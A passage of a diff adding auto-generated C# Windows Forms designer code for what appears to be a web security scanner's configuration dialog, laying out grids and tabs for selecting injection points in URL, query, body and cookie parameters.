this.ASRequestScanURLGrid.AllowUserToResizeRows = false; + this.ASRequestScanURLGrid.BackgroundColor = System.Drawing.Color.White; + this.ASRequestScanURLGrid.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.ASRequestScanURLGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; + this.ASRequestScanURLGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { + this.ASRequestURLSelectColumn, + this.ASRequestURLPositionColumn, + this.ASRequestURLValueColumn}); + this.ASRequestScanURLGrid.Dock = System.Windows.Forms.DockStyle.Fill; + this.ASRequestScanURLGrid.EditMode = System.Windows.Forms.DataGridViewEditMode.EditProgrammatically; + this.ASRequestScanURLGrid.GridColor = System.Drawing.Color.White; + this.ASRequestScanURLGrid.Location = new System.Drawing.Point(0, 0); + this.ASRequestScanURLGrid.Margin = new System.Windows.Forms.Padding(0); + this.ASRequestScanURLGrid.MultiSelect = false; + this.ASRequestScanURLGrid.Name = "ASRequestScanURLGrid"; + this.ASRequestScanURLGrid.RowHeadersVisible = false; + this.ASRequestScanURLGrid.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; + this.ASRequestScanURLGrid.Size = new System.Drawing.Size(545, 181); + this.ASRequestScanURLGrid.TabIndex = 0; + // + // ASRequestURLSelectColumn + // + this.ASRequestURLSelectColumn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.ASRequestURLSelectColumn.HeaderText = "INJECT"; + this.ASRequestURLSelectColumn.Name = "ASRequestURLSelectColumn"; + this.ASRequestURLSelectColumn.Resizable = System.Windows.Forms.DataGridViewTriState.True; + this.ASRequestURLSelectColumn.Width = 55; + // + // ASRequestURLPositionColumn + // + this.ASRequestURLPositionColumn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; + this.ASRequestURLPositionColumn.HeaderText = "PARAMETER POSITION"; + this.ASRequestURLPositionColumn.Name = "ASRequestURLPositionColumn"; + this.ASRequestURLPositionColumn.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable; + // + // ASRequestURLValueColumn + // + this.ASRequestURLValueColumn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; + this.ASRequestURLValueColumn.HeaderText = "PARAMETER VALUE"; + this.ASRequestURLValueColumn.Name = "ASRequestURLValueColumn"; + this.ASRequestURLValueColumn.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable; + // + // ASRequestQueryTab + // + this.ASRequestQueryTab.Controls.Add(this.ASRequestScanQueryGrid); + this.ASRequestQueryTab.Location = new System.Drawing.Point(4, 22); + this.ASRequestQueryTab.Margin = new System.Windows.Forms.Padding(0); + this.ASRequestQueryTab.Name = "ASRequestQueryTab"; + this.ASRequestQueryTab.Size = new System.Drawing.Size(545, 181); + this.ASRequestQueryTab.TabIndex = 1; + this.ASRequestQueryTab.Text = "Query"; + this.ASRequestQueryTab.UseVisualStyleBackColor = true; + // + // ASRequestScanQueryGrid + // + this.ASRequestScanQueryGrid.AllowUserToAddRows = false; + this.ASRequestScanQueryGrid.AllowUserToDeleteRows = false; + this.ASRequestScanQueryGrid.AllowUserToResizeRows = false; + this.ASRequestScanQueryGrid.BackgroundColor = System.Drawing.Color.White; + this.ASRequestScanQueryGrid.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.ASRequestScanQueryGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; + this.ASRequestScanQueryGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { + this.ASRequestQuerySelectColumn, + this.ASRequestQueryNameColumn, + this.ASRequestQueryValueColumn}); + this.ASRequestScanQueryGrid.Dock = System.Windows.Forms.DockStyle.Fill; + this.ASRequestScanQueryGrid.EditMode = System.Windows.Forms.DataGridViewEditMode.EditProgrammatically; + this.ASRequestScanQueryGrid.GridColor = System.Drawing.Color.White; + this.ASRequestScanQueryGrid.Location = new System.Drawing.Point(0, 0); + this.ASRequestScanQueryGrid.Margin = new System.Windows.Forms.Padding(0); + this.ASRequestScanQueryGrid.Name = "ASRequestScanQueryGrid"; + this.ASRequestScanQueryGrid.RowHeadersVisible = false; + this.ASRequestScanQueryGrid.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; + this.ASRequestScanQueryGrid.Size = new System.Drawing.Size(545, 181); + this.ASRequestScanQueryGrid.TabIndex = 1; + // + // ASRequestQuerySelectColumn + // + this.ASRequestQuerySelectColumn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.ASRequestQuerySelectColumn.HeaderText = "INJECT"; + this.ASRequestQuerySelectColumn.Name = "ASRequestQuerySelectColumn"; + this.ASRequestQuerySelectColumn.Resizable = System.Windows.Forms.DataGridViewTriState.True; + this.ASRequestQuerySelectColumn.Width = 55; + // + // ASRequestQueryNameColumn + // + this.ASRequestQueryNameColumn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; + this.ASRequestQueryNameColumn.HeaderText = "PARAMETER NAME"; + this.ASRequestQueryNameColumn.Name = "ASRequestQueryNameColumn"; + this.ASRequestQueryNameColumn.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable; + // + // ASRequestQueryValueColumn + // + this.ASRequestQueryValueColumn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; + this.ASRequestQueryValueColumn.HeaderText = "PARAMETER VALUE"; + this.ASRequestQueryValueColumn.Name = "ASRequestQueryValueColumn"; + this.ASRequestQueryValueColumn.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable; + // + // ASRequestBodyTab + // + this.ASRequestBodyTab.Controls.Add(this.ASBodyInjectTypeTabs); + this.ASRequestBodyTab.Location = new System.Drawing.Point(4, 22); + this.ASRequestBodyTab.Margin = new System.Windows.Forms.Padding(0); + this.ASRequestBodyTab.Name = "ASRequestBodyTab"; + this.ASRequestBodyTab.Size = new System.Drawing.Size(545, 181); + this.ASRequestBodyTab.TabIndex = 2; + this.ASRequestBodyTab.Text = "Body"; + this.ASRequestBodyTab.UseVisualStyleBackColor = true; + // + // ASBodyInjectTypeTabs + // + this.ASBodyInjectTypeTabs.Controls.Add(this.ASBodyTypeNormalTab); + this.ASBodyInjectTypeTabs.Controls.Add(this.ASBodyTypeFormatPluginTab); + this.ASBodyInjectTypeTabs.Controls.Add(this.ASBodyTypeCustomTab); + this.ASBodyInjectTypeTabs.Dock = System.Windows.Forms.DockStyle.Fill; + this.ASBodyInjectTypeTabs.Location = new System.Drawing.Point(0, 0); + this.ASBodyInjectTypeTabs.Margin = new System.Windows.Forms.Padding(0); + this.ASBodyInjectTypeTabs.Multiline = true; + this.ASBodyInjectTypeTabs.Name = "ASBodyInjectTypeTabs"; + this.ASBodyInjectTypeTabs.Padding = new System.Drawing.Point(0, 0); + this.ASBodyInjectTypeTabs.SelectedIndex = 0; + this.ASBodyInjectTypeTabs.Size = new System.Drawing.Size(545, 181); + this.ASBodyInjectTypeTabs.TabIndex = 1; + this.ASBodyInjectTypeTabs.Selecting += new System.Windows.Forms.TabControlCancelEventHandler(this.ASBodyInjectTypeTabs_Selecting); + // + // ASBodyTypeNormalTab + // + this.ASBodyTypeNormalTab.Controls.Add(this.ASRequestScanBodyTypeNormalGrid); + this.ASBodyTypeNormalTab.Location = new System.Drawing.Point(4, 22); + this.ASBodyTypeNormalTab.Margin = new System.Windows.Forms.Padding(0); + this.ASBodyTypeNormalTab.Name = "ASBodyTypeNormalTab"; + this.ASBodyTypeNormalTab.Size = new System.Drawing.Size(537, 155); + this.ASBodyTypeNormalTab.TabIndex = 0; + this.ASBodyTypeNormalTab.Text = "Normal Format"; + this.ASBodyTypeNormalTab.UseVisualStyleBackColor = true; + // + // ASRequestScanBodyTypeNormalGrid + // + this.ASRequestScanBodyTypeNormalGrid.AllowUserToAddRows = false; + this.ASRequestScanBodyTypeNormalGrid.AllowUserToDeleteRows = false; + this.ASRequestScanBodyTypeNormalGrid.AllowUserToResizeRows = false; + this.ASRequestScanBodyTypeNormalGrid.BackgroundColor = System.Drawing.Color.White; + this.ASRequestScanBodyTypeNormalGrid.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.ASRequestScanBodyTypeNormalGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; + this.ASRequestScanBodyTypeNormalGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { + this.dataGridViewCheckBoxColumn1, + this.dataGridViewTextBoxColumn15, + this.dataGridViewTextBoxColumn16}); + this.ASRequestScanBodyTypeNormalGrid.Dock = System.Windows.Forms.DockStyle.Fill; + this.ASRequestScanBodyTypeNormalGrid.EditMode = System.Windows.Forms.DataGridViewEditMode.EditProgrammatically; + this.ASRequestScanBodyTypeNormalGrid.GridColor = System.Drawing.Color.White; + this.ASRequestScanBodyTypeNormalGrid.Location = new System.Drawing.Point(0, 0); + this.ASRequestScanBodyTypeNormalGrid.Margin = new System.Windows.Forms.Padding(0); + this.ASRequestScanBodyTypeNormalGrid.Name = "ASRequestScanBodyTypeNormalGrid"; + this.ASRequestScanBodyTypeNormalGrid.RowHeadersVisible = false; + this.ASRequestScanBodyTypeNormalGrid.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; + this.ASRequestScanBodyTypeNormalGrid.Size = new System.Drawing.Size(537, 155); + this.ASRequestScanBodyTypeNormalGrid.TabIndex = 2; + // + // dataGridViewCheckBoxColumn1 + // + this.dataGridViewCheckBoxColumn1.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.dataGridViewCheckBoxColumn1.HeaderText = "INJECT"; + this.dataGridViewCheckBoxColumn1.Name = "dataGridViewCheckBoxColumn1"; + this.dataGridViewCheckBoxColumn1.Resizable = System.Windows.Forms.DataGridViewTriState.True; + this.dataGridViewCheckBoxColumn1.Width = 55; + // + // dataGridViewTextBoxColumn15 + // + this.dataGridViewTextBoxColumn15.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; + this.dataGridViewTextBoxColumn15.HeaderText = "PARAMETER NAME"; + this.dataGridViewTextBoxColumn15.Name = "dataGridViewTextBoxColumn15"; + this.dataGridViewTextBoxColumn15.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable; + // + // dataGridViewTextBoxColumn16 + // + this.dataGridViewTextBoxColumn16.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; + this.dataGridViewTextBoxColumn16.HeaderText = "PARAMETER VALUE"; + this.dataGridViewTextBoxColumn16.Name = "dataGridViewTextBoxColumn16"; + this.dataGridViewTextBoxColumn16.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable; + // + // ASBodyTypeFormatPluginTab + // + this.ASBodyTypeFormatPluginTab.Controls.Add(this.ASRequestBodyTabSplit); + this.ASBodyTypeFormatPluginTab.Location = new System.Drawing.Point(4, 22); + this.ASBodyTypeFormatPluginTab.Margin = new System.Windows.Forms.Padding(0); + this.ASBodyTypeFormatPluginTab.Name = "ASBodyTypeFormatPluginTab"; + this.ASBodyTypeFormatPluginTab.Size = new System.Drawing.Size(537, 155); + this.ASBodyTypeFormatPluginTab.TabIndex = 1; + this.ASBodyTypeFormatPluginTab.Text = "Known Formats (Eg: JSON, XML etc)"; + this.ASBodyTypeFormatPluginTab.UseVisualStyleBackColor = true; + // + // ASRequestBodyTabSplit + // + this.ASRequestBodyTabSplit.Dock = System.Windows.Forms.DockStyle.Fill; + this.ASRequestBodyTabSplit.Location = new System.Drawing.Point(0, 0); + this.ASRequestBodyTabSplit.Margin = new System.Windows.Forms.Padding(0); + this.ASRequestBodyTabSplit.Name = "ASRequestBodyTabSplit"; + // + // ASRequestBodyTabSplit.Panel1 + // + this.ASRequestBodyTabSplit.Panel1.Controls.Add(this.ConfigureScanRequestFormatPluginsGrid); + // + // ASRequestBodyTabSplit.Panel2 + // + this.ASRequestBodyTabSplit.Panel2.Controls.Add(this.ASRequestScanBodyTabs); + this.ASRequestBodyTabSplit.Size = new System.Drawing.Size(537, 155); + this.ASRequestBodyTabSplit.SplitterDistance = 99; + this.ASRequestBodyTabSplit.SplitterWidth = 2; + this.ASRequestBodyTabSplit.TabIndex = 0; + // + // ConfigureScanRequestFormatPluginsGrid + // + this.ConfigureScanRequestFormatPluginsGrid.AllowUserToAddRows = false; + this.ConfigureScanRequestFormatPluginsGrid.AllowUserToDeleteRows = false; + this.ConfigureScanRequestFormatPluginsGrid.AllowUserToResizeRows = false; + this.ConfigureScanRequestFormatPluginsGrid.BackgroundColor = System.Drawing.Color.White; + this.ConfigureScanRequestFormatPluginsGrid.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.ConfigureScanRequestFormatPluginsGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; + this.ConfigureScanRequestFormatPluginsGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { + this.ASRequestBodyDataFormatSelectColumn, + this.ASRequestBodyDataFormatColumn}); + this.ConfigureScanRequestFormatPluginsGrid.Dock = System.Windows.Forms.DockStyle.Fill; + this.ConfigureScanRequestFormatPluginsGrid.EditMode = System.Windows.Forms.DataGridViewEditMode.EditProgrammatically; + this.ConfigureScanRequestFormatPluginsGrid.GridColor = System.Drawing.Color.White; + this.ConfigureScanRequestFormatPluginsGrid.Location = new System.Drawing.Point(0, 0); + this.ConfigureScanRequestFormatPluginsGrid.Margin = new System.Windows.Forms.Padding(0); + this.ConfigureScanRequestFormatPluginsGrid.MultiSelect = false; + this.ConfigureScanRequestFormatPluginsGrid.Name = "ConfigureScanRequestFormatPluginsGrid"; + this.ConfigureScanRequestFormatPluginsGrid.RowHeadersVisible = false; + this.ConfigureScanRequestFormatPluginsGrid.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; + this.ConfigureScanRequestFormatPluginsGrid.Size = new System.Drawing.Size(99, 155); + this.ConfigureScanRequestFormatPluginsGrid.TabIndex = 0; + // + // ASRequestBodyDataFormatSelectColumn + // + this.ASRequestBodyDataFormatSelectColumn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.ASRequestBodyDataFormatSelectColumn.HeaderText = ""; + this.ASRequestBodyDataFormatSelectColumn.MinimumWidth = 20; + this.ASRequestBodyDataFormatSelectColumn.Name = "ASRequestBodyDataFormatSelectColumn"; + this.ASRequestBodyDataFormatSelectColumn.Width = 20; + // + // ASRequestBodyDataFormatColumn + // + this.ASRequestBodyDataFormatColumn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; + this.ASRequestBodyDataFormatColumn.HeaderText = "Select Format"; + this.ASRequestBodyDataFormatColumn.Name = "ASRequestBodyDataFormatColumn"; + this.ASRequestBodyDataFormatColumn.ReadOnly = true; + this.ASRequestBodyDataFormatColumn.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable; + // + // ASRequestScanBodyTabs + // + this.ASRequestScanBodyTabs.Controls.Add(this.ASRequestScanBodyGridTab); + this.ASRequestScanBodyTabs.Controls.Add(this.ASRequestScanBodyXMLTab); + this.ASRequestScanBodyTabs.Dock = System.Windows.Forms.DockStyle.Fill; + this.ASRequestScanBodyTabs.Location = new System.Drawing.Point(0, 0); + this.ASRequestScanBodyTabs.Margin = new System.Windows.Forms.Padding(0); + this.ASRequestScanBodyTabs.Multiline = true; + this.ASRequestScanBodyTabs.Name = "ASRequestScanBodyTabs"; + this.ASRequestScanBodyTabs.Padding = new System.Drawing.Point(0, 0); + this.ASRequestScanBodyTabs.SelectedIndex = 0; + this.ASRequestScanBodyTabs.Size = new System.Drawing.Size(436, 155); + this.ASRequestScanBodyTabs.TabIndex = 0; + // + // ASRequestScanBodyGridTab + // + this.ASRequestScanBodyGridTab.Controls.Add(this.ConfigureScanRequestBodyTypeFormatPluginGrid); + this.ASRequestScanBodyGridTab.Location = new System.Drawing.Point(4, 22); + this.ASRequestScanBodyGridTab.Margin = new System.Windows.Forms.Padding(0); + this.ASRequestScanBodyGridTab.Name = "ASRequestScanBodyGridTab"; + this.ASRequestScanBodyGridTab.Size = new System.Drawing.Size(428, 129); + this.ASRequestScanBodyGridTab.TabIndex = 0; + this.ASRequestScanBodyGridTab.Text = "Format Specific Injection Points"; + this.ASRequestScanBodyGridTab.UseVisualStyleBackColor = true; + // + // ConfigureScanRequestBodyTypeFormatPluginGrid + // + this.ConfigureScanRequestBodyTypeFormatPluginGrid.AllowUserToAddRows = false; + this.ConfigureScanRequestBodyTypeFormatPluginGrid.AllowUserToDeleteRows = false; + this.ConfigureScanRequestBodyTypeFormatPluginGrid.AllowUserToResizeRows = false; + this.ConfigureScanRequestBodyTypeFormatPluginGrid.BackgroundColor = System.Drawing.Color.White; + this.ConfigureScanRequestBodyTypeFormatPluginGrid.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.ConfigureScanRequestBodyTypeFormatPluginGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; + this.ConfigureScanRequestBodyTypeFormatPluginGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { + this.ASRequestBodySelectColumn, + this.ASRequestBodyNameColumn, + this.ASRequestBodyValueColumn}); + this.ConfigureScanRequestBodyTypeFormatPluginGrid.Dock = System.Windows.Forms.DockStyle.Fill; + this.ConfigureScanRequestBodyTypeFormatPluginGrid.GridColor = System.Drawing.Color.White; + this.ConfigureScanRequestBodyTypeFormatPluginGrid.Location = new System.Drawing.Point(0, 0); + this.ConfigureScanRequestBodyTypeFormatPluginGrid.Margin = new System.Windows.Forms.Padding(0); + this.ConfigureScanRequestBodyTypeFormatPluginGrid.Name = "ConfigureScanRequestBodyTypeFormatPluginGrid"; + this.ConfigureScanRequestBodyTypeFormatPluginGrid.ReadOnly = true; + this.ConfigureScanRequestBodyTypeFormatPluginGrid.RowHeadersVisible = false; + this.ConfigureScanRequestBodyTypeFormatPluginGrid.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; + this.ConfigureScanRequestBodyTypeFormatPluginGrid.Size = new System.Drawing.Size(428, 129); + this.ConfigureScanRequestBodyTypeFormatPluginGrid.TabIndex = 2; + // + // ASRequestBodySelectColumn + // + this.ASRequestBodySelectColumn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.ASRequestBodySelectColumn.HeaderText = "INJECT"; + this.ASRequestBodySelectColumn.Name = "ASRequestBodySelectColumn"; + this.ASRequestBodySelectColumn.ReadOnly = true; + this.ASRequestBodySelectColumn.Resizable = System.Windows.Forms.DataGridViewTriState.True; + this.ASRequestBodySelectColumn.Width = 55; + // + // ASRequestBodyNameColumn + // + this.ASRequestBodyNameColumn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; + this.ASRequestBodyNameColumn.HeaderText = "INJECTION POINT NAME"; + this.ASRequestBodyNameColumn.Name = "ASRequestBodyNameColumn"; + this.ASRequestBodyNameColumn.ReadOnly = true; + this.ASRequestBodyNameColumn.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable; + // + // ASRequestBodyValueColumn + // + this.ASRequestBodyValueColumn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; + this.ASRequestBodyValueColumn.HeaderText = "VALUE TO INJECT"; + this.ASRequestBodyValueColumn.Name = "ASRequestBodyValueColumn"; + this.ASRequestBodyValueColumn.ReadOnly = true; + this.ASRequestBodyValueColumn.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable; + // + // ASRequestScanBodyXMLTab + // + this.ASRequestScanBodyXMLTab.Controls.Add(this.ConfigureScanRequestFormatXMLTB); + this.ASRequestScanBodyXMLTab.Location = new System.Drawing.Point(4, 22); + this.ASRequestScanBodyXMLTab.Margin = new System.Windows.Forms.Padding(0); + this.ASRequestScanBodyXMLTab.Name = "ASRequestScanBodyXMLTab"; + this.ASRequestScanBodyXMLTab.Size = new System.Drawing.Size(428, 129); + this.ASRequestScanBodyXMLTab.TabIndex = 1; + this.ASRequestScanBodyXMLTab.Text = "Normalized XML from Body Data (for reference)"; + this.ASRequestScanBodyXMLTab.UseVisualStyleBackColor = true; + // + // ConfigureScanRequestFormatXMLTB + // + this.ConfigureScanRequestFormatXMLTB.BackColor = System.Drawing.SystemColors.Window; + this.ConfigureScanRequestFormatXMLTB.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.ConfigureScanRequestFormatXMLTB.Dock = System.Windows.Forms.DockStyle.Fill; + this.ConfigureScanRequestFormatXMLTB.Location = new System.Drawing.Point(0, 0); + this.ConfigureScanRequestFormatXMLTB.Margin = new System.Windows.Forms.Padding(0); + this.ConfigureScanRequestFormatXMLTB.MaxLength = 2147483647; + this.ConfigureScanRequestFormatXMLTB.Multiline = true; + this.ConfigureScanRequestFormatXMLTB.Name = "ConfigureScanRequestFormatXMLTB"; + this.ConfigureScanRequestFormatXMLTB.ReadOnly = true; + this.ConfigureScanRequestFormatXMLTB.ScrollBars = System.Windows.Forms.ScrollBars.Both; + this.ConfigureScanRequestFormatXMLTB.Size = new System.Drawing.Size(428, 129); + this.ConfigureScanRequestFormatXMLTB.TabIndex = 0; + // + // ASBodyTypeCustomTab + // + this.ASBodyTypeCustomTab.Controls.Add(this.ASRequestCustomInjectionPointsHighlightTB); + this.ASBodyTypeCustomTab.Controls.Add(this.ASRequestCustomInjectionPointsHighlightLbl); + this.ASBodyTypeCustomTab.Controls.Add(this.label37); + this.ASBodyTypeCustomTab.Controls.Add(this.ASCustomEndMarkerTB); + this.ASBodyTypeCustomTab.Controls.Add(this.ASCustomStartMarkerTB); + this.ASBodyTypeCustomTab.Controls.Add(this.label38); + this.ASBodyTypeCustomTab.Controls.Add(this.label39); + this.ASBodyTypeCustomTab.Location = new System.Drawing.Point(4, 22); + this.ASBodyTypeCustomTab.Name = "ASBodyTypeCustomTab"; + this.ASBodyTypeCustomTab.Size = new System.Drawing.Size(537, 155); + this.ASBodyTypeCustomTab.TabIndex = 2; + this.ASBodyTypeCustomTab.Text = "Custom Format"; + this.ASBodyTypeCustomTab.UseVisualStyleBackColor = true; + // + // ASRequestCustomInjectionPointsHighlightTB + // + this.ASRequestCustomInjectionPointsHighlightTB.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.ASRequestCustomInjectionPointsHighlightTB.BackColor = System.Drawing.Color.White; + this.ASRequestCustomInjectionPointsHighlightTB.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.ASRequestCustomInjectionPointsHighlightTB.Location = new System.Drawing.Point(0, 0); + this.ASRequestCustomInjectionPointsHighlightTB.Margin = new System.Windows.Forms.Padding(0); + this.ASRequestCustomInjectionPointsHighlightTB.Name = "ASRequestCustomInjectionPointsHighlightTB"; + this.ASRequestCustomInjectionPointsHighlightTB.ReadOnly = true; + this.ASRequestCustomInjectionPointsHighlightTB.Size = new System.Drawing.Size(537, 129); + this.ASRequestCustomInjectionPointsHighlightTB.TabIndex = 0; + this.ASRequestCustomInjectionPointsHighlightTB.Text = ""; + // + // ASRequestCustomInjectionPointsHighlightLbl + // + this.ASRequestCustomInjectionPointsHighlightLbl.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left))); + this.ASRequestCustomInjectionPointsHighlightLbl.AutoSize = true; + this.ASRequestCustomInjectionPointsHighlightLbl.ForeColor = System.Drawing.Color.Blue; + this.ASRequestCustomInjectionPointsHighlightLbl.Location = new System.Drawing.Point(375, 135); + this.ASRequestCustomInjectionPointsHighlightLbl.Name = "ASRequestCustomInjectionPointsHighlightLbl"; + this.ASRequestCustomInjectionPointsHighlightLbl.Size = new System.Drawing.Size(126, 13); + this.ASRequestCustomInjectionPointsHighlightLbl.TabIndex = 1; + this.ASRequestCustomInjectionPointsHighlightLbl.Text = "No. of Injection Points : 0"; + // + // label37 + // + this.label37.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left))); + this.label37.AutoSize = true; + this.label37.Location = new System.Drawing.Point(6, 135); + this.label37.Name = "label37"; + this.label37.Size = new System.Drawing.Size(118, 13); + this.label37.TabIndex = 3; + this.label37.Text = "Injection Point Markers:"; + // + // ASCustomEndMarkerTB + // + this.ASCustomEndMarkerTB.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left))); + this.ASCustomEndMarkerTB.BackColor = System.Drawing.Color.White; + this.ASCustomEndMarkerTB.Location = new System.Drawing.Point(325, 132); + this.ASCustomEndMarkerTB.Name = "ASCustomEndMarkerTB"; + this.ASCustomEndMarkerTB.ReadOnly = true; + this.ASCustomEndMarkerTB.Size = new System.Drawing.Size(45, 20); + this.ASCustomEndMarkerTB.TabIndex = 7; + this.ASCustomEndMarkerTB.Text = "<<--->>"; + // + // ASCustomStartMarkerTB + // + this.ASCustomStartMarkerTB.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left))); + this.ASCustomStartMarkerTB.BackColor = System.Drawing.Color.White; + this.ASCustomStartMarkerTB.Location = new System.Drawing.Point(201, 132); + this.ASCustomStartMarkerTB.Name = "ASCustomStartMarkerTB"; + this.ASCustomStartMarkerTB.ReadOnly = true; + this.ASCustomStartMarkerTB.Size = new System.Drawing.Size(52, 20); + this.ASCustomStartMarkerTB.TabIndex = 5; + this.ASCustomStartMarkerTB.Text = "<<+++>>"; + // + // label38 + // + this.label38.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left))); + this.label38.AutoSize = true; + this.label38.Location = new System.Drawing.Point(130, 135); + this.label38.Margin = new System.Windows.Forms.Padding(0); + this.label38.Name = "label38"; + this.label38.Size = new System.Drawing.Size(68, 13); + this.label38.TabIndex = 4; + this.label38.Text = "Start Marker:"; + // + // label39 + // + this.label39.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left))); + this.label39.AutoSize = true; + this.label39.Location = new System.Drawing.Point(257, 135); + this.label39.Margin = new System.Windows.Forms.Padding(0); + this.label39.Name = "label39"; + this.label39.Size = new System.Drawing.Size(65, 13); + this.label39.TabIndex = 6; + this.label39.Text = "End Marker:"; + // + // ASRequestCookieTab + // + this.ASRequestCookieTab.Controls.Add(this.ASRequestScanCookieGrid); + this.ASRequestCookieTab.Location = new System.Drawing.Point(4, 22); + this.ASRequestCookieTab.Margin = new System.Windows.Forms.Padding(0); + this.ASRequestCookieTab.Name = "ASRequestCookieTab"; + this.ASRequestCookieTab.Size = new System.Drawing.Size(545, 181); + this.ASRequestCookieTab.TabIndex = 3; + this.ASRequestCookieTab.Text = "Cookie"; + this.ASRequestCookieTab.UseVisualStyleBackColor = true; + // + // ASRequestScanCookieGrid + // + this.ASRequestScanCookieGrid.AllowUserToAddRows = false; + this.ASRequestScanCookieGrid.AllowUserToDeleteRows = false; + this.ASRequestScanCookieGrid.AllowUserToResizeRows = false; + this.ASRequestScanCookieGrid.BackgroundColor = System.Drawing.Color.White; + this.ASRequestScanCookieGrid.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.ASRequestScanCookieGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; + this.ASRequestScanCookieGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { + this.ASRequestCookieSelectColumn, + this.ASRequestCookieNameColumn, + this.ASRequestCookieValueColumn}); + this.ASRequestScanCookieGrid.Dock = System.Windows.Forms.DockStyle.Fill; + this.ASRequestScanCookieGrid.EditMode = System.Windows.Forms.DataGridViewEditMode.EditProgrammatically; + this.ASRequestScanCookieGrid.GridColor = System.Drawing.Color.White; + this.ASRequestScanCookieGrid.Location = new System.Drawing.Point(0, 0); + this.ASRequestScanCookieGrid.Margin = new System.Windows.Forms.Padding(0); + this.ASRequestScanCookieGrid.Name = "ASRequestScanCookieGrid"; + this.ASRequestScanCookieGrid.RowHeadersVisible = false; + this.ASRequestScanCookieGrid.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; + this.ASRequestScanCookieGrid.Size = new System.Drawing.Size(545, 181); + this.ASRequestScanCookieGrid.TabIndex = 2; + // + // ASRequestCookieSelectColumn + // + this.ASRequestCookieSelectColumn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.ASRequestCookieSelectColumn.HeaderText = "INJECT"; + this.ASRequestCookieSelectColumn.Name = "ASRequestCookieSelectColumn"; + this.ASRequestCookieSelectColumn.Resizable = System.Windows.Forms.DataGridViewTriState.True; + this.ASRequestCookieSelectColumn.Width = 55; + // + // ASRequestCookieNameColumn + // + this.ASRequestCookieNameColumn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; + this.ASRequestCookieNameColumn.HeaderText = "PARAMETER NAME"; + this.ASRequestCookieNameColumn.Name = "ASRequestCookieNameColumn"; + 